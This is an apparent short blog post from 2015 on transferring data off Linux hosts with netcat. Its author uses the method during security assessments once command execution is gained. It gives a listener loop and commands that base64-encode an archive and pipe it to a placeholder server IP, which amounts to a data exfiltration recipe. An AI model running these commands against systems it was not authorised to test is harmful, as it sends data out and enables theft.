Sunday, December 27, 2015

transfer data with netcat direct from bash


Easy way to transfer data from linux based systems (if outbound connections allowed).
I used it sometimes to transfer data during assessments if command execution is possible.

server (somewhere) listening to port 9000:
  while [ true ] ; do  nc -l -p 9000 >>/tmp/receive.nc.txt ; done

send data to serer:
  cat archive2.tar.gz |base64 |nc -q1 <server-ip> 9000
  echo "test" |nc -q1 <server-ip> 9000